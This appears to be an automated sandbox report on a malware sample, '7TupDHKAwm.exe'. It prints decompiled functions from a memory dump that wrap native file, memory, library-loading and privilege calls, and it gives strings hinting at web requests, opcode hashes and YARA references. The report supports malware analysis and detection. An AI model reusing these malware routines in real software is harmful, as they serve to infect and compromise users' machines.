Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 7TupDHKAwm.exe PID: 6376 Parent PID: 6936 7TupDHKAwm.exeCOMMON

Executed Functions

Function 0041A40A, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E0041A40A(void* __eax, void* __esi, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, char _a40) {
				void* _t23;
				void* _t32;
				intOrPtr* _t34;
				void* _t36;

				asm("invalid");
				_t18 = _a4;
				_t34 = _a4 + 0xc48;
				E0041AF60(_t32, _a4, _t34,  *((intOrPtr*)(_t18 + 0x10)), 0, 0x2a);
				_t5 =  &_a40; // 0x414a31
				_t7 =  &_a32; // 0x414d72
				_t13 =  &_a8; // 0x414d72
				_t23 =  *((intOrPtr*)( *_t34))( *_t13, _a12, _a16, _a20, _a24, _a28,  *_t7, _a36,  *_t5, __esi, _t36); // executed
				return _t23;
			}

0x0041a40d
0x0041a413
0x0041a41f
0x0041a427
0x0041a42c
0x0041a432
0x0041a44d
0x0041a455
0x0041a459

APIs

NtReadFile.NTDLL(rMA,5EB65239,FFFFFFFF,?,?,?,rMA,?,1JA,FFFFFFFF,5EB65239,00414D72,?,00000000), ref: 0041A455

Strings

rMA, xrefs: 0041A44D, 0041A454
rMA, xrefs: 0041A432, 0041A440
1JA, xrefs: 0041A42C, 0041A438

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: 1JA$rMA$rMA
API String ID: 2738559852-782607585
Opcode ID: 168a3a6ba6aad3fbecb21687f97696ce2b573daee3d708162e6887467be85324
Instruction ID: 4303057fbaaf29cad4171ea9010ed2377fecf0c0394d7fa1fb71fc5b5dab864a
Opcode Fuzzy Hash: 168a3a6ba6aad3fbecb21687f97696ce2b573daee3d708162e6887467be85324
Instruction Fuzzy Hash: 52F0C4B6200118AFCB14DF89DC81EEB77A9AF8C754F158248BA1DA7241C630E811CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0041A410, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0041A410(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, char _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E0041AF60(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t4 =  &_a40; // 0x414a31
				_t6 =  &_a32; // 0x414d72
				_t12 =  &_a8; // 0x414d72
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36,  *_t4); // executed
				return _t18;
			}

0x0041a413
0x0041a41f
0x0041a427
0x0041a42c
0x0041a432
0x0041a44d
0x0041a455
0x0041a459

APIs

NtReadFile.NTDLL(rMA,5EB65239,FFFFFFFF,?,?,?,rMA,?,1JA,FFFFFFFF,5EB65239,00414D72,?,00000000), ref: 0041A455

Strings

rMA, xrefs: 0041A44D, 0041A454
rMA, xrefs: 0041A432, 0041A440
1JA, xrefs: 0041A42C, 0041A438

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: 1JA$rMA$rMA
API String ID: 2738559852-782607585
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: c6e97d42c3e85b78cd3a41c20c82dd28da71633a8e67c8174f08c115ef6e08ba
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 87F0B7B2200208AFCB14DF89DC81EEB77ADEF8C754F158249BE1D97241D630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A35A, Relevance: 1.6, APIs: 1, Instructions: 70
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E0041A35A(void* __eax, void* __ebx, void* __eflags, HANDLE* _a4, long _a8, struct _EXCEPTION_RECORD _a12, struct _ERESOURCE_LITE _a16, struct _GUID _a20, long _a24, long _a28, long _a32, long _a36, void* _a40, long _a44) {
				intOrPtr _v0;
				long _t38;
				void* _t41;
				void* _t58;
				intOrPtr* _t60;

				if(__eflags != 0) {
					_t60 = __eax + 0xc44;
					E0041AF60(_t58);
					return  *((intOrPtr*)( *_t60))(_a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, __eax, _t60, _t41);
				} else {
					asm("scasd");
					_t32 = _v0;
					_t3 = _t32 + 0xc40; // 0xc40
					E0041AF60(_t58, _v0, _t3,  *((intOrPtr*)(_v0 + 0x10)), 0, 0x28);
					_t38 = NtCreateFile(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44); // executed
					return _t38;
				}
			}

0x0041a35b
0x0041a3cf
0x0041a3d7
0x0041a409
0x0041a35d
0x0041a35e
0x0041a363
0x0041a36f
0x0041a377
0x0041a3ad
0x0041a3b1
0x0041a3b1

APIs

NtCreateFile.NTDLL(00000060,00409CF3,?,00414BB7,00409CF3,FFFFFFFF,?,?,FFFFFFFF,00409CF3,00414BB7,?,00409CF3,00000060,00000000,00000000), ref: 0041A3AD

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3c2591368eefec49bbd50e6ae881d5d24ce5faca65f3f94b5b4afbe06a90733e
Instruction ID: 344b71f7b3a199d2ddbb085444571a9311c99876aed05395be72b1e04dcb046e
Opcode Fuzzy Hash: 3c2591368eefec49bbd50e6ae881d5d24ce5faca65f3f94b5b4afbe06a90733e
Instruction Fuzzy Hash: DD11B4B2214109ABCB08DF99DC84CEB77ADFF8C358B15864DFA1D93215D634E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACF0, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD62

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: dc2098e385e942efcd48a296202403441f5905bb34daa24398974f8d6af8945c
Instruction ID: bd03027937dafe21d6f438616a486266aae6a772261e1344982784e00def1180
Opcode Fuzzy Hash: dc2098e385e942efcd48a296202403441f5905bb34daa24398974f8d6af8945c
Instruction Fuzzy Hash: 80015EB5E0020DBBDF10DBA1DC42FDEB3789F54308F0045AAA908A7281F634EB548B95

Uniqueness

Uniqueness Score: -1.00%

Function 0041A360, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A360(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				_t3 = _a4 + 0xc40; // 0xc40
				E0041AF60(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x0041a36f
0x0041a377
0x0041a3ad
0x0041a3b1

APIs

NtCreateFile.NTDLL(00000060,00409CF3,?,00414BB7,00409CF3,FFFFFFFF,?,?,FFFFFFFF,00409CF3,00414BB7,?,00409CF3,00000060,00000000,00000000), ref: 0041A3AD

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 1571a74e51eef41835f20cf1113afde9e84efeac6e640e2865a3d9423fa4fe5b
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: FEF0BDB2201208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A540, Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A540(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;
				void* _t21;

				_t3 = _a4 + 0xc60; // 0xca0
				E0041AF60(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x0041a54f
0x0041a557
0x0041a579
0x0041a57d

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B134,?,00000000,?,00003000,00000040,00000000,00000000,00409CF3), ref: 0041A579

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: 60dc777ab2a5703fe93ec60752bbea5a413bae98553eb5929f98badcd8fbe991
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: B2F015B2200208ABCB14DF89CC81EEB77ADEF8C754F158149BE0897241C630F811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A490, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A490(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x40a943
				E0041AF60(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x0041a493
0x0041a496
0x0041a49f
0x0041a4a7
0x0041a4b5
0x0041a4b9

APIs

NtClose.NTDLL(00414D50,?,?,00414D50,00409CF3,FFFFFFFF), ref: 0041A4B5

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: a008c5d5ec14fa9f5013d94ab86a46559dd82bf248144eb087863a0ac6a31d62
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: F7D01776200218ABD710EB99CC85EE77BACEF48B64F158499BA1C9B242C530FA1086E0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A48A, Relevance: 1.5, APIs: 1, Instructions: 18
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0041A48A(void* __ebx, intOrPtr _a4, void* _a8) {
				long _t9;
				void* _t13;

				gs =  *((intOrPtr*)(__ebx - 0x63));
				0x8bec();
				_t6 = _a4;
				_t3 = _t6 + 0x10; // 0x300
				_t4 = _t6 + 0xc50; // 0x40a943
				E0041AF60(_t13, _a4, _t4,  *_t3, 0, 0x2c);
				_t9 = NtClose(_a8); // executed
				return _t9;
			}

0x0041a48a
0x0041a48d
0x0041a493
0x0041a496
0x0041a49f
0x0041a4a7
0x0041a4b5
0x0041a4b9

APIs

NtClose.NTDLL(00414D50,?,?,00414D50,00409CF3,FFFFFFFF), ref: 0041A4B5

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: e88aaddb16ecc7abfa8ea1c0704b21e9ae7d795a9701f57bb74bc7127bba8e6a
Instruction ID: 6b97a5c630ec2685c44f67ab0c3518f250d9da488a99e2f68952f22904d5cf3e
Opcode Fuzzy Hash: e88aaddb16ecc7abfa8ea1c0704b21e9ae7d795a9701f57bb74bc7127bba8e6a
Instruction Fuzzy Hash: E2D02BA950E2C08BDB10FBB4E4D40CABB60EE8061C72859DFE4A807647D17592159391

Uniqueness

Uniqueness Score: -1.00%

Function 00409AB0, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00409AB0(intOrPtr* _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t50;
				intOrPtr* _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;

				_t52 = _a4;
				_t39 = 0; // executed
				_t24 = E00407EA0(_t52,  &_v24); // executed
				_t54 = _t53 + 8;
				if(_t24 != 0) {
					E004080B0( &_v24,  &_v840);
					_t55 = _t54 + 8;
					do {
						E0041BE10( &_v284, 0x104);
						E0041C480( &_v284,  &_v804);
						_t56 = _t55 + 0x10;
						_t50 = 0x4f;
						while(1) {
							_t31 = E00414DF0(E00414D90(_t52, _t50),  &_v284);
							_t56 = _t56 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t50 = _t50 + 1;
							if(_t50 <= 0x62) {
								continue;
							} else {
							}
							goto L8;
						}
						_t9 = _t52 + 0x14; // 0xffffe045
						 *(_t52 + 0x474) =  *(_t52 + 0x474) ^  *_t9;
						_t39 = 1;
						L8:
						_t33 = E004080E0( &_v24,  &_v840);
						_t55 = _t56 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_t34 = E00408160(_t52,  &_v24); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t52 + 0x55c)) =  *((intOrPtr*)(_t52 + 0x55c)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t52 + 0x31)) =  *((intOrPtr*)(_t52 + 0x31)) + _t39;
					_t20 = _t52 + 0x31; // 0x5608758b
					 *((intOrPtr*)(_t52 + 0x32)) =  *((intOrPtr*)(_t52 + 0x32)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x00409abb
0x00409ac3
0x00409ac5
0x00409aca
0x00409acf
0x00409ae2
0x00409ae7
0x00409af0
0x00409afc
0x00409b0f
0x00409b14
0x00409b17
0x00409b20
0x00409b32
0x00409b37
0x00409b3c
0x00000000
0x00000000
0x00409b3e
0x00409b42
0x00000000
0x00000000
0x00409b44
0x00000000
0x00409b42
0x00409b46
0x00409b49
0x00409b4f
0x00409b51
0x00409b5c
0x00409b61
0x00409b64
0x00409b71
0x00409b7c
0x00409b7e
0x00409b84
0x00409b88
0x00409b8b
0x00409b8b
0x00409b92
0x00409b95
0x00409b9a
0x00409ba7
0x00409ad6
0x00409ad6
0x00409ad6

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf70d19deb8b7dbf65a1c14f2d3141162741e3067e6603a799ea80fa30cdc1c2
Instruction ID: 0b46cc9625fd597f0f1293e0fe630cc8c1f9f1e3f005c30533d49d025d22dd75
Opcode Fuzzy Hash: bf70d19deb8b7dbf65a1c14f2d3141162741e3067e6603a799ea80fa30cdc1c2
Instruction Fuzzy Hash: 97210AB2D4020857CB25D674AD52BFF73BCAB54314F04007FE949A3182F638BE498BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A630, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(6EA,?,00414CAF,00414CAF,?,00414536,?,?,?,?,?,00000000,00409CF3,?), ref: 0041A65D

Strings

6EA, xrefs: 0041A652, 0041A65C

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID: 6EA
API String ID: 1279760036-1400015478
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: b63900df46c74d48569035b2bcc9be016157083d4ef88d1b541c797289a4eec1
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 46E012B1200208ABDB14EF99CC41EA777ACEF88664F158559BA085B242C630F9118AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A5F7, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E0041A5F7(void* __eax, void* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8, char _a12, long _a16, long _a20) {
				void* _t19;
				void* _t33;
				void* _t34;
				intOrPtr* _t36;
				void* _t38;

				if(__ecx >  *__edx) {
					 *((intOrPtr*)(__ecx - 0x73)) =  *((intOrPtr*)(__ecx - 0x73)) + __edx;
					 *((intOrPtr*)(_t34 + 0x50)) =  *((intOrPtr*)(_t34 + 0x50)) + __edx;
					E0041AF60(_t33);
					_t12 =  &_a12; // 0x414536
					_t19 = RtlAllocateHeap( *_t12, _a16, _a20); // executed
					return _t19;
				} else {
					_t21 = _a4;
					_t3 = _t21 + 0xc6c; // 0xc6e
					_t36 = _t3;
					E0041AF60(_t33, _a4, _t36,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x33);
					return  *((intOrPtr*)( *_t36))(_a8, _a12, _t34, _t38);
				}
			}

0x0041a5f9
0x0041a63d
0x0041a644
0x0041a647
0x0041a652
0x0041a65d
0x0041a661
0x0041a5fb
0x0041a603
0x0041a60f
0x0041a60f
0x0041a617
0x0041a62d
0x0041a62d

APIs

RtlAllocateHeap.NTDLL(6EA,?,00414CAF,00414CAF,?,00414536,?,?,?,?,?,00000000,00409CF3,?), ref: 0041A65D

Strings

6EA, xrefs: 0041A652, 0041A65C

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID: 6EA
API String ID: 1279760036-1400015478
Opcode ID: d7731d8716a9909aaebbcc61393e2c5dcb5147951310e5446d50a0b4bd4e0840
Instruction ID: f8b0307e263f0a20d44079788cd30cb9ea9ec63190e6cfd16d2e7c5213453682
Opcode Fuzzy Hash: d7731d8716a9909aaebbcc61393e2c5dcb5147951310e5446d50a0b4bd4e0840
Instruction Fuzzy Hash: 63E026F51082C45FD710DF34A8804C77BA4AE85308768818DF88803603C120C81286A1

Uniqueness

Uniqueness Score: -1.00%

Function 00408310, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00408310(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t21;
				intOrPtr* _t25;
				void* _t26;
				void* _t30;

				_t30 = __eflags;
				_v68 = 0;
				E0041BE60( &_v67, 0, 0x3f);
				E0041CA00( &_v68, 3);
				_t12 = E0040ACF0(_t30, _a4 + 0x1c,  &_v68); // executed
				_t13 = E00414E50(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t25 = _t13;
				if(_t25 != 0) {
					_t21 = _a8;
					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					_t32 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t25(_t21, 0x8003, _t26 + (E0040A480(_t32, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x00408310
0x0040831f
0x00408323
0x0040832e
0x0040833e
0x0040834e
0x00408353
0x0040835a
0x0040835d
0x0040836a
0x0040836c
0x0040836e
0x0040838b
0x0040838b
0x00000000
0x0040838d
0x00408392

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: eeb461d9a93cfa80389428809ed4c10d2a707c26e4e5d313531af448f679d8da
Instruction ID: fe648ddaccc693dff6b318d6e20673cc1517f8ca6da234ac2c2ad493b9bfa733
Opcode Fuzzy Hash: eeb461d9a93cfa80389428809ed4c10d2a707c26e4e5d313531af448f679d8da
Instruction Fuzzy Hash: FF018431A8032C76E721A6959C43FFE776C5B40F54F05011AFF04BA1C2EAA8690546EA

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE5, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040ACE5(void* __eax, void* __ebx, void* __ecx, void* _a8) {
				void* _v4;
				void* _v8;
				void* _v12;
				void* _v536;
				void* _t15;

				_t15 = __eax;
				asm("stc");
				if (__ebx + 1 <= 0) goto L7;
			}

0x0040ace5
0x0040acee
0x0040acef

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD62

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ac607fe8fadfd29998aeae0fc689f596357b97b0bf363d8ae678b1bbacd093b8
Instruction ID: 2939d7c89a7172a658210ab68ef3fead8153cd52e8a31b6efd872631f279e96f
Opcode Fuzzy Hash: ac607fe8fadfd29998aeae0fc689f596357b97b0bf363d8ae678b1bbacd093b8
Instruction Fuzzy Hash: 24F06875E4020DABDF10DB95DC82FD9B378AF48308F0081A6E91D9B681F630DA59CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0041A7C2, Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0041A7C2(signed int __eax, void* __ebx, void* __ecx, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t13;
				void* _t21;

				asm("les esi, [edx]");
				asm("lds esi, [0x769869b8]");
				 *(__ecx + 0x55197a7f) =  *(__ecx + 0x55197a7f) | __eax;
				_t10 = _a4;
				E0041AF60(_t21, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_t10 + 0xa18)), 0, 0x46);
				_t13 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t13;
			}

0x0041a7c2
0x0041a7c5
0x0041a7cb
0x0041a7d3
0x0041a7ea
0x0041a800
0x0041a804

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1D2,0040F1D2,0000003C,00000000,?,00409D65), ref: 0041A800

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 5293b461ac1da1569b82276833f07d95cefbcf7da94b6f4b372471dededb407f
Instruction ID: 691f3f98cb7d57195190baae01592f46005a8642ef15458af35efcd506b53531
Opcode Fuzzy Hash: 5293b461ac1da1569b82276833f07d95cefbcf7da94b6f4b372471dededb407f
Instruction Fuzzy Hash: 64F0A0B2600218ABDB14DF44CC40ED73768EF49310F258154FD086B242C631ED16CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0041A670, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A670(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;
				void* _t15;

				_t3 = _a4 + 0xc74; // 0xc74
				E0041AF60(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041a67f
0x0041a687
0x0041a69d
0x0041a6a1

APIs

RtlFreeHeap.NTDLL(00000060,00409CF3,?,?,00409CF3,00000060,00000000,00000000,?,?,00409CF3,?,00000000), ref: 0041A69D

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: 086aab0bc8c344d6c60c9bbd5a0512cabfd8005857d16272e4a7e29987098a06
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: C1E012B1200208ABDB18EF99CC49EA777ACEF88764F118559BA085B242C630E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A7D0, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A7D0(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;
				void* _t15;

				E0041AF60(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041a7ea
0x0041a800
0x0041a804

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1D2,0040F1D2,0000003C,00000000,?,00409D65), ref: 0041A800

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: 3f9aab8e47c10174471559fee5d267dc63a882ce56825bdd12c8e63267ac542a
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 23E01AB12002086BDB10DF49CC85EE737ADEF88654F118155BA0C57241C934E8118BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A6B0, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A6B0(intOrPtr _a4, int _a8) {
				void* _t10;

				_t5 = _a4;
				E0041AF60(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t5 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x0041a6b3
0x0041a6ca
0x0041a6d8

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A6D8

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 671013aba82168957284564a3a9f05bc2528e3e40ec9789e05460755300894f7
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: 68D017726002187BD620EB99CC85FD777ACDF48BA4F1580A9BA1C6B242C531BA108AE1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00417326, Relevance: 6.3, Strings: 5, Instructions: 72COMMON

Download Yara Rule

Strings

Us, xrefs: 00417379
: , xrefs: 0041738E
urlmon.dll, xrefs: 0041739D, 004173A0
er-A, xrefs: 00417380
gent, xrefs: 00417387

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Us$: $er-A$gent$urlmon.dll
API String ID: 0-1367105278
Opcode ID: 56c181f12cb253143a3ebd4a4736513a387cdaa9c04ea9ea34a49daaa3738e97
Instruction ID: 6b5c8f8e5162a82d991e87feaa6df840a112a0b3d012ca3dfbf08a0c715c10e8
Opcode Fuzzy Hash: 56c181f12cb253143a3ebd4a4736513a387cdaa9c04ea9ea34a49daaa3738e97
Instruction Fuzzy Hash: 7911A2B2E01219ABDB00DF95DC42BFEFBB8EB55754F10005AEC04B7240E6799A4187EA

Uniqueness

Uniqueness Score: -1.00%

Function 00417DA8, Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

P, xrefs: 00417DAC

Memory Dump Source

Source File: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: d831ea4a35eb71bb199559fc4c75f5bb8a55070e91059d5eac059b7f11c9ac45
Instruction ID: 2212069e147ae62ab31d095ca9c7044be53877cbc0282b0d5f4af43051700b14
Opcode Fuzzy Hash: d831ea4a35eb71bb199559fc4c75f5bb8a55070e91059d5eac059b7f11c9ac45
